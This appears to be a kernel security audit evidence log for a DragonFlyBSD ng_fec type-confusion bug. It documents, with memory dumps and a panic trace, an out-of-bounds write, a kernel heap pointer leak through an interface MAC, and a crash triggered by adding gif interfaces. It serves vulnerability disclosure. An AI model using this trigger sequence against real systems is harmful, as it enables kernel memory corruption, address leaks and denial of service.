⬢ DragonFlyBSD Kernel Audit
DF-3501 / run.log
← back to finding ↓ download raw
# DF-3501 evidence: ng_fec_addport arpcom type confusion (v1 ng_fec)

Guest: DragonFly 6.5-DEVELOPMENT #0 (INVARIANTS), vtnet0 + lo0, netgraph v1.
Module under test: ng_fec.ko rebuilt from guest /usr/src HEAD with ONLY the
DF-3499 enabler fix (bcopy NULL guard) applied -- the addport code under test
is stock. Driver: fecdrive.ko (sysctl-driven, thread context; required because
the stock csock path runs rcvmsg in netisr where ifnet_lock() KASSERTs -- see
DF-3500).

## Step 1: lo0 tail BEFORE (all zeros past the 928-byte ifnet allocation)

    DUMPIF: lo0 ifp=0xfffff8008e0ead40 sizeof(struct ifnet)=928 sizeof(struct arpcom)=952 off(ac_enaddr)=928 off(ac_netgraph)=944
    DUMPIF: lo0 tail+  0 (ifnet_end0): 0000000000000000
    DUMPIF: lo0 tail+  8 (ifnet_end8): 0000000000000000
    DUMPIF: lo0 tail+ 16 (ifnet_end16): 0000000000000000
    DUMPIF: lo0 tail+ 24 (ifnet_end24): 0000000000000000

lo0's ifnet is a standalone kmalloc(sizeof(struct ifnet)) == 928 bytes
(sys/net/if_loop.c:111). ac_enaddr lands exactly at +928, ac_netgraph at +944.

## Step 2: create fec0, add vtnet0 (first member), add lo0 (second member)

    FECDRIVE: ng_make_node(fec) = 0 node=0xfffff8004f1ae2e0
    FECDRIVE: add 'vtnet0' = 0
    $ ifconfig fec0 | grep ether
	ether 52:54:00:12:34:56        <- fec0 took vtnet0's MAC (in-bounds copy)
    FECDRIVE: add 'lo0' = 0

## Step 3: lo0 tail AFTER -> OOB WRITE PROOF

    DUMPIF: lo0 tail+  0 (ifnet_end0): 0000563412005452
    DUMPIF: lo0 tail+  8 (ifnet_end8): 0000000000000000
    DUMPIF: lo0 tail+ 16 (ifnet_end16): fffff8004f1ae2e0
    DUMPIF: lo0 tail+ 24 (ifnet_end24): 0000000000000000

    tail+0  = 52 54 00 12 34 56 00 00  -> vtnet0's MAC (52:54:00:12:34:56),
             6 attacker-known bytes written at lo0_ifp+928..933 (ac_enaddr slot)
    tail+16 = 0xfffff8004f1ae2e0      -> the fec0 ng_node heap pointer,
             8 bytes written at lo0_ifp+944..951 (ac_netgraph slot)

Both writes land OUTSIDE the 928-byte allocation (ng_fec.c:378-405 blindly
casts any ifnet to struct arpcom; no if_type validation). On this build the
slab chunk class for 928 bytes is 960, so the writes fall in the 32-byte
inter-chunk slack; any layout/struct-size change or a member ifnet allocated
without slack turns this into adjacent-object corruption. Step 5 shows the
same write landing in live driver fields.

## Step 4: kernel heap pointer LEAK via fec MAC (gif as first member)

    # ifconfig gif1 create; ifconfig gif1 tunnel 10.0.2.15 10.0.2.2
    # (gif1 configured -> gif_softc.gif_psrc = heap sockaddr pointer)
    FECDRIVE: cmd='create2'
    FECDRIVE: ng_make_node(fec) = 0 node=0xfffff8004f1ae3a0     <- fec1
    FECDRIVE: addg 'gif1' = 0
    $ ifconfig fec1 | grep ether
	ether f0:2d:0a:4f:00:f8

    low 6 bytes (LE) of gif1->gif_psrc = f0 2d 0a 4f 00 f8
    -> full kernel pointer 0xfffff8004f0a2df0 (classic DFly kheap pattern),
       read from gif_softc+928 (past gif_if, ng_fec.c:388-391) and disclosed
       as the fec1 interface MAC (world-readable via getifaddrs/SIOCGIFADDR).

## Step 5: live-field corruption -> kernel GPF panic (gif as second member)

    # ifconfig gif0 create                       (unconfigured, gif_psrc == NULL)
    FECDRIVE: addg 'gif0' = 0
    # ifconfig gif0
    Fatal trap 9: general protection fault while in kernel mode
    cpuid = 4; lapic id = 4
    instruction pointer    = 0x8:0xffffffff8073accf
    current process        = 1407 (ifconfig)
    Stopped at      gif_ioctl+0x9f: movzbl (%rsi),%ecx

Adding gif0 as the second member wrote fec1's MAC bytes over gif0's
gif_psrc (gif_softc+928..933) making it a non-NULL garbage pointer
(0x0000f8004f0a2df0); the first `ifconfig gif0` dereferenced it in
gif_ioctl (sys/net/gif/if_gif.c gif_getconfig path, ~line 611-678)
and faulted. Same code also writes the ng_node pointer at gif_softc+944
(over gif_ro[0]).

## Conclusion

ng_fec_addport performs three arpcom-field accesses against ANY ifnet:
  ng_fec.c:379   ac->ac_netgraph = priv->node      (8-byte ptr write)
  ng_fec.c:388   read ac->ac_enaddr -> fec MAC      (6-byte OOB read = leak)
  ng_fec.c:404   write fec MAC -> ac->ac_enaddr     (6-byte known-value write)
For non-arpcom ifnets these land out-of-allocation (lo0: standalone
kmalloc'd ifnet) or on live driver fields (gif: gif_psrc/gif_ro).